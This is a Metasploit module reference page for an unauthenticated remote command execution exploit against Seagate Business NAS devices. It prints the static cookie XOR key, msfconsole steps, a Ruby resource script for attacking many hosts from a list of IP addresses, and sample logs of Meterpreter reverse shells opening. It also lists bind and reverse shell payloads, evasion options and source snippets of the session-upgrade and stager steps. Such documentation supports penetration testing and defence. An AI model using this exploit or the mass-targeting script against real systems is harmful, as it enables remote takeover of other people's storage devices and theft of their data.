Seagate Business NAS Unauthenticated Remote Command Execution - Metasploit
This page contains detailed information about how to use the exploit/linux/http/seagate_nas_php_exec_noauth metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Seagate Business NAS Unauthenticated Remote Command Execution
Module: exploit/linux/http/seagate_nas_php_exec_noauth
Source code: modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb
Disclosure date: 2015-03-01
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): php
Supported platform(s): PHP
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2014-8684, CVE-2014-8686, CVE-2014-8687
Some Seagate Business NAS devices are vulnerable to command execution via a local file include vulnerability hidden in the language parameter of the CodeIgniter session cookie. The vulnerability manifests in the way the language files are included in the code on the login page, and hence is open to attack from users without the need for authentication. The cookie can be easily decrypted using a known static encryption key and re-encrypted once the PHP object string has been modified. This module has been tested on the STBN300 device.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
Using seagate_nas_php_exec_noauth against a single host
Normally, you can use exploit/linux/http/seagate_nas_php_exec_noauth this way:
msf > use exploit/linux/http/seagate_nas_php_exec_noauth
msf exploit(seagate_nas_php_exec_noauth) > show targets
... a list of targets ...
msf exploit(seagate_nas_php_exec_noauth) > set TARGET target-id
msf exploit(seagate_nas_php_exec_noauth) > show options
... show and set options ...
msf exploit(seagate_nas_php_exec_noauth) > exploit
Using seagate_nas_php_exec_noauth against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your seagate_nas_php_exec_noauth will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/seagate_nas_php_exec_noauth")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the linux/http/seagate_nas_php_exec_noauth exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/seagate_nas_php_exec_noauth
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(linux/http/seagate_nas_php_exec_noauth) > show info
Name: Seagate Business NAS Unauthenticated Remote Command Execution
Module: exploit/linux/http/seagate_nas_php_exec_noauth
Platform: PHP
Arch: php
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2015-03-01
Provided by:
OJ Reeves <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
ADMINACCOUNT admin yes Name of the NAS admin account
COOKIEID ci_session yes ID of the CodeIgniter session cookie
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to the application root
VHOST no HTTP server virtual host
XORKEY 0f0a000d02011f0248000d290d0b0b0e03010e07 yes XOR Key used for the CodeIgniter session
Payload information:
Description:
Some Seagate Business NAS devices are vulnerable to command
execution via a local file include vulnerability hidden in the
language parameter of the CodeIgniter session cookie. The
vulnerability manifests in the way the language files are included
in the code on the login page, and hence is open to attack from
users without the need for authentication. The cookie can be easily
decrypted using a known static encryption key and re-encrypted once
the PHP object string has been modified. This module has been tested
on the STBN300 device.
References:
https://nvd.nist.gov/vuln/detail/CVE-2014-8684
https://nvd.nist.gov/vuln/detail/CVE-2014-8686
https://nvd.nist.gov/vuln/detail/CVE-2014-8687
https://www.exploit-db.com/exploits/36202
http://www.seagate.com/au/en/support/external-hard-drives/network-storage/business-storage-2-bay-nas/
https://beyondbinary.io/advisory/seagate-nas-rce/
Module Options
This is a complete list of options available in the linux/http/seagate_nas_php_exec_noauth exploit:
msf6 exploit(linux/http/seagate_nas_php_exec_noauth) > show options
Module options (exploit/linux/http/seagate_nas_php_exec_noauth):
Name Current Setting Required Description
---- --------------- -------- -----------
ADMINACCOUNT admin yes Name of the NAS admin account
COOKIEID ci_session yes ID of the CodeIgniter session cookie
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to the application root
VHOST no HTTP server virtual host
XORKEY 0f0a000d02011f0248000d290d0b0b0e03010e07 yes XOR Key used for the CodeIgniter session
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the linux/http/seagate_nas_php_exec_noauth exploit:
msf6 exploit(linux/http/seagate_nas_php_exec_noauth) > show advanced
Module advanced options (exploit/linux/http/seagate_nas_php_exec_noauth):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/seagate_nas_php_exec_noauth module can exploit:
msf6 exploit(linux/http/seagate_nas_php_exec_noauth) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/seagate_nas_php_exec_noauth exploit:
msf6 exploit(linux/http/seagate_nas_php_exec_noauth) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/php/bind_perl normal No PHP Command Shell, Bind TCP (via Perl)
6 payload/php/bind_perl_ipv6 normal No PHP Command Shell, Bind TCP (via perl) IPv6
7 payload/php/bind_php normal No PHP Command Shell, Bind TCP (via PHP)
8 payload/php/bind_php_ipv6 normal No PHP Command Shell, Bind TCP (via php) IPv6
9 payload/php/download_exec normal No PHP Executable Download and Execute
10 payload/php/exec normal No PHP Execute Command
11 payload/php/meterpreter/bind_tcp normal No PHP Meterpreter, Bind TCP Stager
12 payload/php/meterpreter/bind_tcp_ipv6 normal No PHP Meterpreter, Bind TCP Stager IPv6
13 payload/php/meterpreter/bind_tcp_ipv6_uuid normal No PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
14 payload/php/meterpreter/bind_tcp_uuid normal No PHP Meterpreter, Bind TCP Stager with UUID Support
15 payload/php/meterpreter/reverse_tcp normal No PHP Meterpreter, PHP Reverse TCP Stager
16 payload/php/meterpreter/reverse_tcp_uuid normal No PHP Meterpreter, PHP Reverse TCP Stager
17 payload/php/meterpreter_reverse_tcp normal No PHP Meterpreter, Reverse TCP Inline
18 payload/php/reverse_perl normal No PHP Command, Double Reverse TCP Connection (via Perl)
19 payload/php/reverse_php normal No PHP Command Shell, Reverse TCP (via PHP)
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/seagate_nas_php_exec_noauth exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/seagate_nas_php_exec_noauth) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
- <PEER> - Unexpected response from server.
- <PEER> - Unable to establish connection.
- <PEER> - Unexpected response from server.
- <PEER> - Unable to establish connection.
- <PEER> - Stager upload failed (invalid result).
- <PEER> - Stager upload failed (unable to establish connection).
- Stager execution failed (invalid result).
- Stager execution failed (unable to establish connection).
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PEER> - Unexpected response from server.
Here is a relevant code snippet related to the "<PEER> - Unexpected response from server." error message:
118: })
119:
120: if res && res.code == 200 && res.to_s =~ /#{datastore['COOKIEID']}=([^;]+);/
121: cookie_value = $1.strip
122: else
123: fail_with(Failure::Unreachable, "#{peer} - Unexpected response from server.")
124: end
125: rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
126: fail_with(Failure::Unreachable, "#{peer} - Unable to establish connection.")
127: end
128:
<PEER> - Unable to establish connection.
Here is a relevant code snippet related to the "<PEER> - Unable to establish connection." error message:
121: cookie_value = $1.strip
122: else
123: fail_with(Failure::Unreachable, "#{peer} - Unexpected response from server.")
124: end
125: rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
126: fail_with(Failure::Unreachable, "#{peer} - Unable to establish connection.")
127: end
128:
129: # Step 2 - Decrypt the cookie so that we have a PHP object we can work with directly
130: # then update it so that it's an admin session before re-encrypting
131: print_status("Upgrading session to administrator ...")
<PEER> - Unexpected response from server.
Here is a relevant code snippet related to the "<PEER> - Unexpected response from server." error message:
164: host_config = l
165: break
166: end
167: end
168: else
169: fail_with(Failure::Unreachable, "#{peer} - Unexpected response from server.")
170: end
171: rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
172: fail_with(Failure::Unreachable, "#{peer} - Unable to establish connection.")
173: end
174:
<PEER> - Unable to establish connection.
Here is a relevant code snippet related to the "<PEER> - Unable to establish connection." error message:
167: end
168: else
169: fail_with(Failure::Unreachable, "#{peer} - Unexpected response from server.")
170: end
171: rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
172: fail_with(Failure::Unreachable, "#{peer} - Unable to establish connection.")
173: end
174:
175: print_good("Host configuration extracted.")
176: vprint_status("Host configuration: #{host_config}")
177:
<PEER> - Stager upload failed (invalid result).
Here is a relevant code snippet related to the "<PEER> - Stager upload failed (invalid result)." error message:
218: 'general_setup' => xml_payload
219: }
220: )
221:
222: unless res && res.code == 200
223: fail_with(Failure::Unreachable, "#{peer} - Stager upload failed (invalid result).")
224: end
225: rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
226: fail_with(Failure::Unreachable, "#{peer} - Stager upload failed (unable to establish connection).")
227: end
228:
<PEER> - Stager upload failed (unable to establish connection).
Here is a relevant code snippet related to the "<PEER> - Stager upload failed (unable to establish connection)." error message:
221:
222: unless res && res.code == 200
223: fail_with(Failure::Unreachable, "#{peer} - Stager upload failed (invalid result).")
224: end
225: rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
226: fail_with(Failure::Unreachable, "#{peer} - Stager upload failed (unable to establish connection).")
227: end
228:
229: print_good("Stager uploaded.")
230:
231: # Step 6 - Invoke the stage, passing in a self-deleting php script body.
Stager execution failed (invalid result).
Here is a relevant code snippet related to the "Stager execution failed (invalid result)." error message:
249: )
250:
251: if res && res.code == 200
252: print_good("Stager execution succeeded, payload ready for execution.")
253: else
254: print_error("Stager execution failed (invalid result).")
255: errored = true
256: end
257: rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
258: print_error("Stager execution failed (unable to establish connection).")
259: errored = true
Stager execution failed (unable to establish connection).
Here is a relevant code snippet related to the "Stager execution failed (unable to establish connection)." error message:
253: else
254: print_error("Stager execution failed (invalid result).")
255: errored = true
256: end
257: rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable
258: print_error("Stager execution failed (unable to establish connection).")
259: errored = true
260: end
261:
262: # Step 7 - try to restore the previous configuration, allowing exceptions
263: # to bubble up given that we're at the end. This step is important because
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7512 Merged Pull Request: fix check method in seagate expolit
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6526 Merged Pull Request: Peers for the peer god
- #5173 Merged Pull Request: fix fail_with errors
- #4860 Merged Pull Request: Add exploit for Seagate Business NAS devices
References
- CVE-2014-8684
- CVE-2014-8686
- CVE-2014-8687
- EDB-36202
- http://www.seagate.com/au/en/support/external-hard-drives/network-storage/business-storage-2-bay-nas/
- https://beyondbinary.io/advisory/seagate-nas-rce/
See Also
Check also the following modules related to this module:
- exploit/linux/http/dlink_command_php_exec_noauth
- exploit/linux/http/dlink_diagnostic_exec_noauth
- exploit/linux/http/dlink_dsl2750b_exec_noauth
- exploit/linux/http/dlink_hnap_header_exec_noauth
- exploit/linux/http/dlink_upnp_exec_noauth
- exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth
- exploit/linux/http/raidsonic_nas_ib5220_exec_noauth
- exploit/linux/http/realtek_miniigd_upnp_exec_noauth
- exploit/linux/http/synology_dsm_sliceupload_exec_noauth
- exploit/unix/http/vmturbo_vmtadmin_exec_noauth
- exploit/windows/http/sap_configservlet_exec_noauth
- auxiliary/admin/http/dlink_dir_300_600_exec_noauth
- auxiliary/admin/sap/sap_configservlet_exec_noauth
- auxiliary/scanner/http/tplink_traversal_noauth
- exploit/linux/http/dlink_dspw110_cookie_noauth_exec
- exploit/linux/http/netgear_readynas_exec
- exploit/linux/http/glpi_htmlawed_php_injection
- exploit/linux/http/php_imap_open_rce
- exploit/multi/http/freenas_exec_raw
- exploit/multi/http/nas4free_php_exec
Authors
- OJ Reeves <oj[at]beyondbinary.io>
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.